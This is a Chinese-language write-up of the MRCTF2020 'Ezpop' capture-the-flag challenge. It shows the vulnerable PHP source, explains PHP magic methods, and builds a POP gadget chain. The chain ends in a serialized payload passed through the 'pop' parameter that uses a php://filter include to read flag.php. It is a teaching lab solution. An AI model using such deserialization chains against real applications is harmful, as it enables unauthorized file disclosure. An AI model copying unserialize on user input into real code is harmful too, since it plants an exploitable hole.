0%

[MRCTF2020]Ezpop

我还是太菜了呀。

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class Modifier {
protected $var;
public function append($value){
include($value); //可以使用伪协议
}
public function __invoke(){ //调用函数的方式调用一个对象时的回应方法
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){ //说明很大可能这是最外面的壳
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

知识加固

  1. __get()是访问不存在的成员变量时调用的。
  2. __set()是设置不存在的成员变量时调用的。
    如:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    class Test{
    public $c=0;
    public $arr=array();

    public function __set($x,$y){
    echo $x . "\n";
    echo $y . "\n";
    $this->arr[$x]=$y;
    }
    public function __get($x){
    echo "The value of $x is".$this->arr[$x];

    }
    }
    $a = new Test;
    $a->b = 1 ;//成员变量b不存在,所以会调用__set
    $a->c = 2;//成员变量c存在,所以无任何输出
    $d=$a->b;// 成员变量b不存在,所以会调用__get
    ?>
  3. __wakeup 使用反序列化函数时触发
  4. __toString 当一个对象被当作字符串对待的时候,会触发这个魔术方法。
  5. __invoke 当脚本尝试将对象调用为函数时触发。

解题思路

顺序思路

  1. 看到 Show-> __wakeup() 猜测是从这里入手,不然没地方可以触发它了。
  2. 然后我们preg_match使用的了$this->source 如果我们将其设置为Show类,那么就可以调用Show -> __toString函数。但然这里我们在 __construnct函数时传入一个Show类也是一样的效果。
  3. __toString函数中调用 str->source,如果此时我们将str赋值为Test类,而test类没有source这个变量所以调用__get函数。
  4. 调用__get函数,如果p为Modifier类,就可以调用__invoke函数了,而此时var变量为php伪协议就可以读取到源码了。

逆序思路

  1. 整体看一遍,危险函数include,我们需要利用的。需要利用就要调用 __invoke 函数。
  2. 而需要调用它只有Test类可以做到。且需要触发__get且把$p赋值为Modifier类。
  3. 要触发__get类,我们看到show类中的__toString可以触发,且此时str等于Test类。
  4. 要触发__toString类,有2个方法。第一我们调用__construct函数且传参一个Show类,第二我们直接利用__wakeup且直接把str赋值为Show类。

payload

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}


$o = new Show('aaa');
$o->str= new Test();
$a= new Show($o);
echo urlencode(serialize($a));

最后payload:

1
?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A3%3A"aaa"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A52%3A"php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}

-------------本文结束感谢您的阅读-------------